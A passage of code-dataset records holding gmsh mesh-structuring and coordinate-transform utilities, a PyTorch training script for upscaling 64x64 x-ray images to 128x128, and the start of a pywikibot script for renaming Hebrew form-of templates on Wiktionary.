enumerate(volumes_surfaces):\n # new_group = True\n # for j, g in enumerate(gs):\n # for s in ss:\n # if s in g:\n # gs[j].update(ss)\n # gs_out[j].symmetric_difference_update(ss)\n # new_group = False\n # if new_group:\n # gs.append(set(ss))\n # gs_out.append(set(ss))\n # print(gs)\n # if len(gs) > 1:\n # print(gs[0].intersection(gs[1]))\n # if len(gs) > 2:\n # print(gs[1].intersection(gs[2]))\n # print(gs[2].intersection(gs[0]))\n while len(vs_indexes) != 0:\n current_index = list(vs_indexes)[0]\n current_surfaces = set(volumes_surfaces[current_index])\n other_indexes = {x for x in vs_indexes if x != current_index}\n is_intersection = True\n while is_intersection:\n is_intersection = False\n new_other_indexes = {x for x in other_indexes}\n for i in other_indexes:\n surfaces_i = set(volumes_surfaces[i])\n intersection = current_surfaces.intersection(surfaces_i)\n if len(intersection) > 0:\n is_intersection = True\n # Update current\n current_surfaces.symmetric_difference_update(surfaces_i)\n new_other_indexes.remove(i)\n vs_indexes.remove(i)\n # Update global\n volumes_surfaces[current_index] = list(current_surfaces)\n volumes_surfaces[i] = list()\n other_indexes = new_other_indexes\n vs_indexes.remove(current_index)\n volumes_surfaces_groups = [x for x in volumes_surfaces if len(x) != 0]\n return volumes_surfaces_groups\n\n\ndef auto_volumes_groups_surfaces():\n volumes_dim_tags = gmsh.model.getEntities(3)\n volumes_surfaces = list()\n for vdt in volumes_dim_tags:\n surfaces_dim_tags = gmsh.model.getBoundary([vdt], oriented=False)\n ss = [x[1] for x in surfaces_dim_tags]\n volumes_surfaces.append(ss)\n return volumes_surfaces_to_volumes_groups_surfaces(volumes_surfaces)\n\n\ndef volumes_groups_surfaces(volumes):\n volumes_dim_tags = [(3, x) for x in volumes]\n volumes_surfaces = list()\n for vdt in volumes_dim_tags:\n surfaces_dim_tags = gmsh.model.getBoundary([vdt], oriented=False)\n ss = [x[1] for x in surfaces_dim_tags]\n volumes_surfaces.append(ss)\n return volumes_surfaces_to_volumes_groups_surfaces(volumes_surfaces)\n\n\ndef volumes_groups_surfaces_registry(volumes, registry_volumes):\n volumes_surfaces = [registry_volumes[x] for x in volumes]\n return volumes_surfaces_to_volumes_groups_surfaces(volumes_surfaces)\n\n\ndef get_volume_composition(volume):\n volume_dt = (3, volume)\n points_dts = gmsh.model.getBoundary([volume_dt], recursive=True)\n n_points = len(points_dts)\n surfaces_dts = gmsh.model.getBoundary([volume_dt])\n n_surfaces = len(surfaces_dts)\n edges = set()\n for surface_dt in surfaces_dts:\n edges_dts = gmsh.model.getBoundary([surface_dt], oriented=False)\n for edge_dt in edges_dts:\n edge = edge_dt[1]\n edges.add(edge)\n n_edges = len(edges)\n return n_points, n_surfaces, n_edges\n\n\ndef is_cuboid(volume):\n result = False\n n_points = 8\n n_surfaces = 6\n n_edges = 12\n n_edges_per_surface = 4 # FIXME needs to check this?\n volume_dt = (3, volume)\n points_dts = gmsh.model.getBoundary([volume_dt], recursive=True)\n if len(points_dts) == n_points:\n surfaces_dts = gmsh.model.getBoundary([volume_dt])\n if len(surfaces_dts) == n_surfaces:\n edges = set()\n is_n_edges_per_surface = True\n for surface_dt in surfaces_dts:\n edges_dts = gmsh.model.getBoundary([surface_dt])\n if len(edges_dts) == n_edges_per_surface:\n for edge_dt in edges_dts:\n edge = abs(edge_dt[1])\n edges.add(edge)\n else:\n is_n_edges_per_surface = False\n break\n if len(edges) == n_edges and is_n_edges_per_surface:\n result = True\n return result\n\n\ndef structure_cuboid(volume, structured_surfaces, structured_edges,\n min_edge_nodes, c=1.0):\n volume_dt = (3, volume)\n surfaces_dts = gmsh.model.getBoundary([volume_dt])\n surfaces_edges = dict()\n surfaces_points = dict()\n edges = set()\n for surface_dt in surfaces_dts:\n edges_dts = gmsh.model.getBoundary([surface_dt],\n combined=False) # Save order\n surface = surface_dt[1]\n surfaces_edges[surface] = list()\n surfaces_points[surface] = list()\n for edge_dt in edges_dts:\n edge = abs(edge_dt[1])\n surfaces_edges[surface].append(edge)\n edges.add(edge)\n points_dts = gmsh.model.getBoundary([edge_dt],\n combined=False) # Save order\n p0 = points_dts[0][1]\n p1 = points_dts[1][1]\n if p0 not in surfaces_points[surface]:\n surfaces_points[surface].append(p0)\n if p1 not in surfaces_points[surface]:\n surfaces_points[surface].append(p1)\n # pprint(surfaces_points)\n min_point = min(min(x) for x in surfaces_points.values())\n first_point = min_point\n diagonal_surfaces = list()\n for k, v in surfaces_points.items():\n if first_point not in v:\n diagonal_surfaces.append(k)\n diagonal_point = None\n diagonal_point_set = set()\n for s in diagonal_surfaces:\n diagonal_point_set.update(set(surfaces_points[s]))\n for s in diagonal_surfaces:\n diagonal_point_set.intersection_update(set(surfaces_points[s]))\n for p in diagonal_point_set:\n diagonal_point = p\n circular_permutations = {\n 0: [0, 1, 2, 3],\n 1: [3, 0, 1, 2],\n 2: [2, 3, 0, 1],\n 3: [1, 2, 3, 0]\n }\n for k, v in surfaces_points.items():\n if first_point in v:\n point = first_point\n else:\n point = diagonal_point\n for p in circular_permutations.values():\n new_v = [v[x] for x in p]\n if new_v[0] == point:\n surfaces_points[k] = new_v\n break\n # pprint(surfaces_points)\n edges_groups = dict()\n groups_edges = dict()\n for i in range(3):\n groups_edges[i] = list()\n start_edge = None\n for e in edges:\n if e not in edges_groups:\n start_edge = e\n break\n edges_groups[start_edge] = i\n groups_edges[i].append(start_edge)\n start_edge_surfaces = list()\n for k, v in surfaces_edges.items():\n if start_edge in v:\n start_edge_surfaces.append(k)\n get_opposite_edge_index = {\n 0: 2,\n 1: 3,\n 2: 0,\n 3: 1\n }\n opposite_edge = None\n for s in start_edge_surfaces:\n surface_edges = surfaces_edges[s]\n start_edge_index = surface_edges.index(start_edge)\n opposite_edge_index = get_opposite_edge_index[start_edge_index]\n opposite_edge = surface_edges[opposite_edge_index]\n edges_groups[opposite_edge] = i\n groups_edges[i].append(opposite_edge)\n for k, v in surfaces_edges.items():\n if k not in start_edge_surfaces:\n if opposite_edge in v:\n last_opposite_edge_index = v.index(opposite_edge)\n diagonal_edge_index = get_opposite_edge_index[\n last_opposite_edge_index]\n diagonal_edge = v[diagonal_edge_index]\n edges_groups[diagonal_edge] = i\n groups_edges[i].append(diagonal_edge)\n break\n # pprint(edges_groups)\n # pprint(groups_edges)\n edges_lengths = get_volume_edges_lengths(volume)\n groups_min_lengths = dict()\n for group, edges in groups_edges.items():\n lengths = [edges_lengths[x] for x in edges]\n groups_min_lengths[group] = min(lengths)\n # pprint(groups_min_lengths)\n min_length = min(groups_min_lengths.values())\n # number of nodes\n groups_n_nodes = dict()\n for group, length in groups_min_lengths.items():\n a = max(c * length / min_length, 1)\n n_nodes = int(min_edge_nodes * a)\n groups_n_nodes[group] = n_nodes\n # correct number of nodes from already structured edges\n for edge, group in edges_groups.items():\n if edge in structured_edges:\n groups_n_nodes[group] = structured_edges[edge]\n # pprint(groups_n_nodes)\n # Structure\n for edge, group in edges_groups.items():\n if edge not in structured_edges:\n n_nodes = groups_n_nodes[group]\n gmsh.model.mesh.setTransfiniteCurve(edge, n_nodes, \"Progression\", 1)\n structured_edges[edge] = n_nodes\n for surface, points in surfaces_points.items():\n if surface not in structured_surfaces:\n gmsh.model.mesh.setTransfiniteSurface(surface, cornerTags=points)\n structured_surfaces.add(surface)\n gmsh.model.mesh.setTransfiniteVolume(volume)\n\n\ndef check_file(path):\n \"\"\"\n Check path on the existing file in the order:\n 0. If file at absolute path\n 1. Else if file at relative to current working directory path\n 2. Else if file at relative to running script directory path\n 3. Else if file at relative to real running script directory path\n (with eliminating all symbolics links)\n -1. Else no file\n :param str path:\n :return dict: {'type': int, 'path': str}\n \"\"\"\n # Expand path\n path_expand_vars = os.path.expandvars(path)\n path_expand_vars_user = os.path.expanduser(path_expand_vars)\n # Get directories\n wd_path = os.getcwd()\n script_dir_path = os.path.dirname(os.path.abspath(__file__))\n # Set paths to file check\n clear_path = path_expand_vars_user\n rel_wd_path = os.path.join(wd_path, path_expand_vars_user)\n rel_script_path = os.path.join(script_dir_path, path_expand_vars_user)\n real_rel_script_path = os.path.realpath(rel_script_path)\n # Check on file:\n result = dict()\n if os.path.isfile(clear_path):\n result['type'] = 0\n result['path'] = clear_path\n elif os.path.isfile(rel_wd_path):\n result['type'] = 1\n result['path'] = rel_wd_path\n elif os.path.isfile(rel_script_path):\n result['type'] = 2\n result['path'] = rel_script_path\n elif os.path.isfile(real_rel_script_path):\n result['type'] = 3\n result['path'] = real_rel_script_path\n else: # No file\n result['type'] = -1\n result['path'] = path\n return result\n\n\ndef rotation_matrix(axis, theta, deg=True):\n \"\"\"\n Return the rotation matrix associated with counterclockwise rotation about\n the given axis by theta degrees.\n \"\"\"\n theta = np.radians(theta) if deg else theta\n axis = np.array(axis)\n axis = axis / np.sqrt(np.dot(axis, axis))\n a = np.cos(0.5 * theta)\n b, c, d = -axis * np.sin(0.5 * theta)\n aa, bb, cc, dd = a * a, b * b, c * c, d * d\n bc, ad, ac, ab, bd, cd = b * c, a * d, a * c, a * b, b * d, c * d\n return np.array([[aa + bb - cc - dd, 2 * (bc + ad), 2 * (bd - ac)],\n [2 * (bc - ad), aa + cc - bb - dd, 2 * (cd + ab)],\n [2 * (bd + ac), 2 * (cd - ab), aa + dd - bb - cc]])\n\n\ndef transform(ps, data, mask=None, deg=True):\n mask = mask if mask is not None else np.zeros_like(ps)\n mps = np.ma.array(ps, mask=mask)\n if len(data) == 7: # rotation around dir by angle relative to origin\n origin, direction, angle = data[:3], data[3:6], data[6]\n m = rotation_matrix(direction, angle, deg)\n lps = mps - origin # local coordinates relative to origin\n mps = np.ma.dot(lps, m.T)\n mps = np.ma.add(mps, origin)\n elif len(data) == 4: # rotation about dir by angle relative to (0, 0, 0)\n direction, angle = data[:3], data[3]\n m = rotation_matrix(direction, angle, deg)\n mps = np.ma.dot(mps, m.T)\n elif len(data) == 3: # displacement\n displacement = data[:3]\n mps = np.ma.add(mps, displacement)\n else:\n raise ValueError(data)\n ps = mps.filled(ps)\n return ps\n\n\ndef transform_transform(t, data, deg=True):\n if len(t) == 3: # displacement\n return list(transform([t[:3]], data, deg=deg)[0])\n elif len(t) == 4: # rotation direction, angle\n return list(transform([t[:3]], data, deg=deg)[0]) + transform[4]\n elif len(t) == 7: # rotation origin, direction, angle\n return list(transform([t[:3]], data, deg=deg)[0]) \\\n + list(transform([t[3:6]], data, deg=deg)[0]) + t[6]\n else:\n raise ValueError(t)\n\n\ndef transform_transforms(ts, data, deg=True):\n return [transform_transform(t, data, deg) for t in ts]\n\n\ndef cylindrical_to_cartesian(cs, deg=True):\n \"\"\"\n [[x, y, z], ...], [[r, phi, z], ...] or [[r, phi, theta], ...], where\n x, y, z (inf, inf),\n r - radius [0, inf),\n phi - azimuthal angle [0, 360) (counterclockwise from X to Y),\n theta - polar angle [0, 180] [from top to bottom, i.e XY-plane is 90]\n \"\"\"\n if deg:\n return [cs[0] * np.cos(np.radians(cs[1])),\n cs[0] * np.sin(np.radians(cs[1])), cs[2]]\n else:\n return [cs[0] * np.cos(cs[1]), cs[0] * np.sin(cs[1]), cs[2]]\n\n\ndef toroidal_to_cartesian(cs, deg=True):\n \"\"\"\n [r, phi, theta, r2] -> [x, y, z]\n r - inner radius (r < r2)\n phi - inner angle [0-360]\n theta - outer angle [0-360]\n r2 - outer radius\n \"\"\"\n r, phi, theta, r2 = cs[:4]\n if deg:\n phi, theta = np.radians(phi), np.radians(theta)\n return [r2 * np.cos(theta) + r * np.cos(phi) * np.cos(theta),\n r2 * np.sin(theta) + r * np.cos(phi) * np.sin(theta),\n r * np.sin(phi)]\n\n\ndef tokamak_to_cartesian(cs, deg=True):\n \"\"\"\n [r, phi, theta, r2, kxy, kz]\n r - inner radius (r < r2)\n phi - inner angle [0-360]\n theta - outer angle [0-360]\n r2 - outer radius\n kxy - inner radius XY scale coefficient in positive outer radius direction\n kz - inner radius Z scale coefficient\n \"\"\"\n r, phi, theta, r2, kxy, kz = cs[:6]\n if deg:\n phi, theta = np.radians(phi), np.radians(theta)\n if 0 <= phi <= 0.5 * np.pi or 1.5 * np.pi <= phi <= 2 * np.pi:\n return [\n r2 * np.cos(theta) + kxy * r * np.cos(phi) * np.cos(theta),\n r2 * np.sin(theta) + kxy * r * np.cos(phi) * np.sin(theta),\n kz * r * np.sin(phi)]\n else:\n return [\n r2 * np.cos(theta) + r * np.cos(phi) * np.cos(theta),\n r2 * np.sin(theta) + r * np.cos(phi) * np.sin(theta),\n kz * r * np.sin(phi)]\n\n\ndef spherical_to_cartesian(cs, deg=True):\n \"\"\"\n [[x, y, z], ...], [[r, phi, z], ...] or [[r, phi, theta], ...], where\n x, y, z (inf, inf),\n r - radius [0, inf),\n phi - azimuthal angle [0, 360) (counterclockwise from X to Y),\n theta - polar angle [0, 180] [from top to bottom, i.e XY-plane is 90]\n \"\"\"\n if deg:\n return [\n cs[0] * np.cos(np.radians(cs[1])) * np.sin(np.radians(cs[2])),\n cs[0] * np.sin(np.radians(cs[1])) * np.sin(np.radians(cs[2])),\n cs[0] * np.cos(np.radians(cs[2]))]\n else:\n return [cs[0] * np.cos(cs[1]) * np.sin(cs[2]),\n cs[0] * np.sin(cs[1]) * np.sin(cs[2]),\n cs[0] * np.cos(cs[2])]\n\n\ndef cartesian_to_cartesian(cs, deg=True):\n return cs[:3]\n\n\ndef cell_to_local(cs, deg=True):\n x, y, z, xc, yc, zc, x0, x1, y0, y1, z0, z1 = cs\n return [x0 + x * (x1 - x0), y0 + y * (y1 - y0), z0 + z * (z1 - z0)]\n\n\ncoordinates_to_coordinates_map = {\n ('cylindrical', 'cartesian'): cylindrical_to_cartesian,\n ('spherical', 'cartesian'): spherical_to_cartesian,\n ('cartesian', 'cartesian'): cartesian_to_cartesian,\n ('toroidal', 'cartesian'): toroidal_to_cartesian,\n ('tokamak', 'cartesian'): tokamak_to_cartesian,\n ('cell', 'local'): cell_to_local\n}\n\n\ndef transform_to_transform(t, cs0, cs1, c=None):\n f = coordinates_to_coordinates_map[(cs0, cs1)]\n if c is not None:\n if len(t) == 3: # displacement\n return f(t + c)\n elif len(t) == 4: # rotation direction, angle\n return f(t[:3] + c) + [t[3]]\n elif len(t) == 7: # rotation origin, direction, angle\n return f(t[:3] + c) + f(t[3:6] + c) + [t[6]]\n else:\n raise ValueError(t)\n else:\n if len(t) == 3: # displacement\n return f(t)\n elif len(t) == 4: # rotation direction, angle\n return f(t[:3]) + [t[3]]\n elif len(t) == 7: # rotation origin, direction, angle\n return f(t[:3]) + f(t[3:6]) + [t[6]]\n else:\n raise ValueError(t)\n\n\ndef transforms_to_transforms(ts, cs0, cs1, cs=None):\n if cs is None:\n return [transform_to_transform(t, cs0, cs1) for t in ts]\n else:\n return [transform_to_transform(t, cs0, cs1, c) for t, c in zip(ts, cs)]\n\n\ndef coordinates_to_coordinates(ps, cs0, cs1):\n f = coordinates_to_coordinates_map[(cs0, cs1)]\n return [f(x) for x in ps]\n\n\ndef parse_indexing(cs, coordinates_type):\n \"\"\"\n Parse grid coordinates indexing\n \"\"\"\n new_cs = [] # new coordinates\n n2o = {} # new to old local item map\n ni = 0 # new index\n oi = 0 # old index\n for i, c in enumerate(cs):\n if isinstance(c, (int, float)):\n if coordinates_type == 'direct': # Divide dc interval into nc parts\n new_cs.append(c)\n if i != len(cs) - 1: # skip last coordinate\n n2o[ni] = oi\n ni += 1\n oi += 1\n elif coordinates_type == 'delta':\n new_cs.append(c)\n n2o[ni] = oi\n ni += 1\n oi += 1\n else:\n raise ValueError(coordinates_type)\n elif isinstance(c, str): # Advanced indexing\n if coordinates_type == 'direct': # Divide dc interval into nc parts\n c0, c1, nc = cs[i - 1], cs[i + 1], int(c)\n dc = (c1 - c0) / nc\n for _ in range(nc - 1):\n new_cs.append(new_cs[ni - 1] + dc)\n n2o[ni] = oi - 1\n ni += 1\n elif coordinates_type == 'delta':\n dc, nc = cs[i - 1], int(c) # Copy dc interval nc times\n for _ in range(nc):\n new_cs.append(dc)\n n2o[ni] = oi - 1\n ni += 1\n else:\n raise ValueError(coordinates_type)\n return new_cs, n2o\n\n\ndef rotation(ps, origin, direction, angle, **kwargs):\n \"\"\"Rotation of points around direction at origin by angle\n Args:\n ps:\n origin:\n direction:\n angle:\n\n Returns:\n nps: (list of list of float or list of float): new point(s)\n \"\"\"\n m = rotation_matrix(direction, angle)\n lps = np.subtract(ps, origin) # local coordinates relative to origin\n return np.matmul(lps, m.T) + origin\n\n\ndef affine(ps, origin, vs, **kwargs):\n \"\"\"Affine transformation of point(s) (y = Ax + b)\n A - coordinate system basis vectors\n b - coordinate system origin\n x - old points\n y - new points\n Args:\n ps: (list of list of float or list of float): point(s)\n (number of points, old dim) or (old dim)\n origin: (list of float): coordinate system origin (new dim)\n vs: (list of list of float): coordinate system basis vectors\n (old dim, new dim)\n Returns:\n nps: (list of list of float or list of float): new point(s)\n \"\"\"\n return np.matmul(ps, vs) + origin\n","sub_path":"support.py","file_name":"support.py","file_ext":"py","file_size_in_byte":46601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"369013051","text":"import os\nimport json\nimport argparse\nimport numpy as np\nimport scipy\nfrom random import shuffle\nimport time\nimport sys\nimport pdb\nfrom collections import defaultdict\nimport itertools\n# pytorch imports\nimport torch\nimport torch.utils.data\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.autograd import Variable\nimport torch.utils.data.sampler as samplers\nimport imageio\nfrom skimage.io import imread, imsave\nfrom torch.utils.data import TensorDataset, DataLoader\nfrom torchvision import transforms, datasets\nfrom skimage import io, transform\nfrom PIL import Image\nfrom utils import ssim,tv_loss\nimport torchvision.transforms.functional as TF\nimport torchvision\nimport numpy.random as random\ndef mkdir_p(path):\n try:\n os.makedirs(path)\n except:\n \tpass\n\ndef pil_loader(path):\n img = Image.open(path)\n return img\n\nclass xrayDataset(torch.utils.data.Dataset):\n\tdef __init__(self, root='../', transform=None, train=True):\n\t\t\"\"\"\n\t\tArgs:\n\t\t root_dir (string): Directory with all the images.\n\t\t transform (callable, optional): Optional transform to be applied\n\t\t on a sample.\n\t\t\"\"\"\n\t\tself.root_dir = root\n\t\tself.transform = transform\n\t\tself.train = train\n\n\tdef __len__(self):\n\t\treturn 16000 if self.train else 3999\n\n\tdef __getitem__(self, idx):\n\n\t\tif self.train:\n\t\t\ts = str(int(idx)+4000).zfill(5)\n\t\t\timg_name = os.path.join(self.root_dir,\n\t\t\t 'train_images_128x128/train_{}.png'.format(s))\n\t\t\timage = pil_loader(img_name)\n\t\t\timg_name = os.path.join(self.root_dir,\n\t\t\t 'train_images_64x64/train_{}.png'.format(s))\n\t\t\timage64 = pil_loader(img_name)\n\t\t\tif self.transform:\n\t\t\t\tif random.random() > 0.5:\n\t\t\t\t\timage = TF.hflip(image)\n\t\t\t\t\timage64 = TF.hflip(image64)\n\t\t\t\tif random.random() > 0.5:\n\t\t\t\t\timage = TF.vflip(image)\n\t\t\t\t\timage64 = TF.vflip(image64)\n\t\t\t\timage = self.transform(image)\n\t\t\t\timage64 = self.transform(image64)# Random horizontal flipping\n\t\t\tsample = {'img128': image, 'img64': image64, 'img_name':s}\n\n\t\telse:\n\t\t\ts = str(int(idx)+1).zfill(5)\n\t\t\timg_name = os.path.join(self.root_dir,\n\t\t\t 'test_images_64x64/test_{}.png'.format(s))\n\t\t\timage64 = pil_loader(img_name)\n\t\t\ttransform = transforms.Compose([\n\t\t\t\t\ttransforms.Grayscale(),\n\t\t\t\t\ttransforms.ToTensor()\n\t\t\t])\n\t\t\tif self.transform:\n\t\t\t\timage64 = transform(image64)\n\t\t\tsample = {'img64': image64, 'img_name':s}\n\n\t\treturn sample\n\ndef read_data(batch_size,split=0.2):\n print('Loading data...')\n curr = time.time()\n transform = transforms.Compose([\n transforms.Grayscale(),\n transforms.ToTensor()\n ])\n dataset = xrayDataset(root='../',transform=transform,train=True)\n\n train_dataset,val_dataset = torch.utils.data.dataset.random_split(dataset,[16000-int(16000*(split)),int(16000*(split))])\n train_loader = DataLoader(train_dataset, batch_size=batch_size, shuffle=True, drop_last=True)\n val_loader = DataLoader(val_dataset, batch_size=batch_size, shuffle=True, drop_last=True)\n test_dataset = xrayDataset(root='../',transform=transform,train=False)\n test_loader = DataLoader(test_dataset, batch_size=batch_size, shuffle=True, drop_last=False)\n print('Time spent on loading: {}, now proceeding to training...'.format(time.time()-curr))\n return train_loader,val_loader,test_loader\n\ndef exp_lr_scheduler(optimizer, epoch, lr_decay=0.1, lr_decay_epoch=7):\n \"\"\"Decay learning rate by a factor of lr_decay every lr_decay_epoch epochs\"\"\"\n if epoch % lr_decay_epoch or epoch>35:\n return optimizer\n \n for param_group in optimizer.param_groups:\n param_group['lr'] *= lr_decay\n return optimizer\n\nfrom network import Network\nfrom network import Discriminator\n\ndef weights_init(m):\n\tif isinstance(m, torch.nn.Conv2d):\n\t\ttorch.nn.init.xavier_uniform_(m.weight.data)\n\tif isinstance(m, torch.nn.ConvTranspose2d):\n\t\ttorch.nn.init.xavier_uniform_(m.weight.data)\n\ndef save_images(root,imagenames,images):\n\tmkdir_p(root)\n\tfor i,name in enumerate(imagenames):\n\t\ttorchvision.utils.save_image(images[i],root+'/test_{}.png'.format(name))\n\nnp.random.seed(1)\ntorch.backends.cudnn.deterministic = True\ntorch.manual_seed(3)\ndef rmse(img1,img2):\n\tx = ((255*(img1-img2))**2).mean(1).mean(1).mean(1)\n\tx = torch.sqrt(x).mean()\n\treturn x\nif __name__=='__main__':\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('--model_name', default='test')\n\tparser.add_argument('--batch_size', default=64)\n\tparser.add_argument('--lr', type=float, default=5e-3)\n\tparser.add_argument('--l1', type=float, default=1e1)\n\tparser.add_argument('--num_iters', type=int, default=100)\n\tparser.add_argument(\"--train\", dest=\"train\", default=False, action=\"store_true\") # noqa\n\tparser.add_argument('--test_save_path', default='test')\n\targs = parser.parse_args()\n\n\ttrain_loader,val_loader,test_loader = read_data(args.batch_size)\n\tnetwork = Network()\n\tnetwork.apply(weights_init)\n\n\td = Discriminator()\n\td.apply(weights_init)\n\tbce_loss = torch.nn.BCEWithLogitsLoss()\n\ttrue_crit, fake_crit = torch.ones(args.batch_size, 1, device='cuda'), torch.zeros(args.batch_size, 1, device='cuda')\n\t\n\tprint(network)\n\ttrain_loss = []\n\tval_loss = []\n\tif args.train:\n\t\toptimizer = torch.optim.Adam(network.parameters(), lr=args.lr)\n\t\td_optimizer = torch.optim.Adam(d.parameters(), lr=args.lr)\n\t\tnetwork.cuda()\n\t\td.cuda()\n\t\tfor epoch in range(args.num_iters):\n\t\t\ttrain_loader,val_loader,test_loader = read_data(args.batch_size)\n\t\t\tnetwork.train()\n\t\t\tfor idx, x in enumerate(train_loader):\n\t\t\t\timg64 = x['img64'].cuda()\n\t\t\t\timg128 = x['img128'].cuda()\n\t\t\t\timgname = x['img_name']\n\t\t\t\toptimizer.zero_grad()\n\t\t\t\tg_img128 = network(img64)\n\t\t\t\tl2_loss = ((255*(img128-g_img128))**2).mean()\n\t\t\t\tl1_loss = (abs(255*(img128-g_img128))).mean()\n\t\t\t\trmse_loss = rmse(img128,g_img128)\n\t\t\t\tssim_loss = ssim(img128,g_img128)\n\t\t\t\t# tv_losss = tv_loss(255*img128,255*g_img128)\n\t\t\t\t# dloss = bce_loss(d(g_img128,img64),true_crit)\n\t\t\t\tloss = l2_loss + l1_loss - args.l1*ssim_loss\n\t\t\t\tloss.backward()\n\t\t\t\toptimizer.step()\n\n\t\t\t\t# d_optimizer.zero_grad()\n\t\t\t\t# g_img128 = network(img64)\n\t\t\t\t# g_img128.detach()\n\t\t\t\t# dloss = bce_loss(d(torch.cat((img128,g_img128)),torch.cat((img64,img64))),torch.cat((true_crit,fake_crit)))#+bce_loss(d(g_img128,img64),false_crit)\n\t\t\t\t# dloss.backward()\n\t\t\t\t# d_optimizer.step()\n\n\n\t\t\t\tif idx%10 ==0:\n\t\t\t\t\tprint(\"TRAINING {} {}: RMSE_LOSS:{} SSIM:{} L1:{} tv:{} TOTAL:{} \".format(epoch,idx,\n\t\t\t\t\t\t(rmse(img128,g_img128).detach().cpu().numpy()),\n\t\t\t\t\t\tssim_loss.detach().cpu().numpy(),\n\t\t\t\t\t\tl1_loss.detach().cpu().numpy(),\n\t\t\t\t\t\t0,#tv_losss.detach().cpu().numpy(),\n\t\t\t\t\t\tloss.detach().cpu().numpy()))\n\t\t\ttrain_loss.append((rmse(img128,g_img128).detach().cpu().numpy()))\n\n\t\t\tloss_sum = 0.0\n\t\t\tnetwork.eval()\n\t\t\tfor idx,x in enumerate(val_loader):\n\t\t\t\timg64 = x['img64'].cuda()\n\t\t\t\timg128 = x['img128'].cuda()\n\t\t\t\timgname = x['img_name']\n\t\t\t\tg_img128 = network(img64)\n\t\t\t\tloss = (rmse(img128,g_img128).detach().cpu().numpy())\n\t\t\t\tif idx%10 ==0:\n\t\t\t\t\tprint(\"EVAL: RMSE_LOSS:{} \".format(loss))\n\t\t\t\tloss_sum += loss\n\t\t\tval_loss.append(loss_sum/(idx+1))\n\t\t\tmkdir_p('./models/')\n\t\t\ttorch.save(network, './models/{}_{}.pt'.format(args.model_name, str(epoch)))\n\t\t\t# optimizer = exp_lr_scheduler(optimizer, epoch)\n\n\telse:\n\t\tnetwork.eval()\n\t\t# Load a pretrained model and use that to make the final images\n\t\tnetwork = torch.load('./models/{}.pt'.format(args.model_name))\n\t\tfor idx, x in enumerate(test_loader):\n\t\t\timg64 = x['img64'].cuda()\n\t\t\timgname = x['img_name']\n\t\t\tg_img128 = network(img64)\n\t\t\tsave_images('./images/'+args.model_name,imgname,g_img128)\n\tpdb.set_trace()\n\n\n","sub_path":"denoiser.py","file_name":"denoiser.py","file_ext":"py","file_size_in_byte":7604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"295735719","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport pywikibot, re, sys, argparse\n\nimport blib\nfrom blib import getparam, rmparam, msg, errandmsg, site, tname\n\n# Tuple of (ORIGTEMPLATE, NEWNAME, ADD_NOCAP). NEWNAME is special-cased\n# for he-verb form of and he-noun form of.\nall_he_form_of_template_specs = [\n# Uncomment the ones you want changed. BE CAREFUL, SOME OF THE CHANGES AREN'T\n# IDEMPOTENT. \n# (\"he-Cohortative of\", \"he-verb form of|coho\", False),\n# (\"he-Defective spelling of\", \"he-defective spelling of\", False),\n# (\"he-Excessive spelling of\", \"he-excessive spelling of\", False),\n# (\"he-Form of adj\", \"he-adj form of\", False),\n# (\"he-Form of noun\", \"he-noun form of\", False),\n# (\"he-Form of prep\", \"he-prep form of\", False),\n# (\"he-Form of sing cons\", \"he-noun form of|n=s\", False),\n# (\"he-Future of\", \"he-verb form of|fut\", False),\n# (\"he-Imperative of\", \"he-verb form of|imp\", False),\n# (\"he-Infinitive of\", \"he-infinitive of\", False),\n# (\"he-Jussive of\", \"he-verb form of|juss\", False),\n# (\"he-Past of\", \"he-verb form of|past\", False),\n# (\"he-Present of\", \"he-verb form of|pres\", False),\n# (\"he-Vav-imperfect of\", \"he-verb form of|vavi\", False),\n# (\"he-Vav imperfect of\", \"he-verb form of|vavi\", False),\n# (\"he-Vav-perfect of\", \"he-verb form of|vavp\", False),\n# (\"he-Vav perfect of\", \"he-verb form of|vavp\", False),\n# (\"he-Cohortative of\", \"he-verb form of|coho\", True),\n# (\"he-defective spelling of\", \"he-defective spelling of\", True),\n# (\"he-excessive spelling of\", \"he-excessive spelling of\", True),\n# (\"he-form of adj\", \"he-adj form of\", True),\n# (\"he-form of noun\", \"he-noun form of\", True),\n# (\"he-form of prep\", \"he-prep form of\", True),\n# (\"he-form of sing cons\", \"he-noun form of|n=s\", True),\n# (\"he-future of\", \"he-verb form of|fut\", True),\n# (\"he-imperative of\", \"he-verb form of|imp\", True),\n# (\"he-infinitive of\", \"he-infinitive of\", True),\n# (\"he-jussive of\", \"he-verb form of|juss\", True),\n# (\"he-past of\", \"he-verb form of|past\", True),\n# (\"he-present of\", \"he-verb form of|pres\", True),\n# (\"he-vav-imperfect of\", \"he-verb form of|vavi\", True),\n# (\"he-vav imperfect of\", \"he-verb form of|vavi\", True),\n# (\"he-vav-perfect of\", \"he-verb form of|vavp\", True),\n# (\"he-vav perfect of\", \"he-verb form of|vavp\", True),\n]\nall_he_form_of_template_map = {\n x[0]: (x[1], x[2]) for x in all_he_form_of_template_specs\n}\nall_he_form_of_templates = [x[0] for x in all_he_form_of_template_specs]\n\ndef process_page(page, index, parsed, move_dot, rename):\n pagetitle = str(page.title())\n def pagemsg(txt):\n msg(\"Page %s %s: %s\" % (index, pagetitle, txt))\n\n pagemsg(\"Processing\")\n notes = []\n\n text = str(page.text)\n\n if \":\" in pagetitle and not re.search(\n \"^(Citations|Appendix|Reconstruction|Transwiki|Talk|Wiktionary|[A-Za-z]+ talk):\", pagetitle):\n pagemsg(\"WARNING: Colon in page title and not a recognized namespace to include, skipping page\")\n return None, None\n\n if move_dot:\n templates_to_replace = []\n\n for t in parsed.filter_templates():\n tn = tname(t)\n if tn in all_he_form_of_templates:\n dot = getparam(t, \".\")\n if dot:\n origt = str(t)\n rmparam(t, \".\")\n newt = str(t) + dot\n templates_to_replace.append((origt, newt))\n\n for curr_template, repl_template in templates_to_replace:\n found_curr_template = curr_template in text\n if not found_curr_template:\n pagemsg(\"WARNING: Unable to locate template: %s\" % curr_template)\n continue\n found_repl_template = repl_template in text\n if found_repl_template:\n pagemsg(\"WARNING: Already found template with period: %s\" % repl_template)\n continue\n newtext = text.replace(curr_template, repl_template)\n newtext_text_diff = len(newtext) - len(text)\n repl_curr_diff = 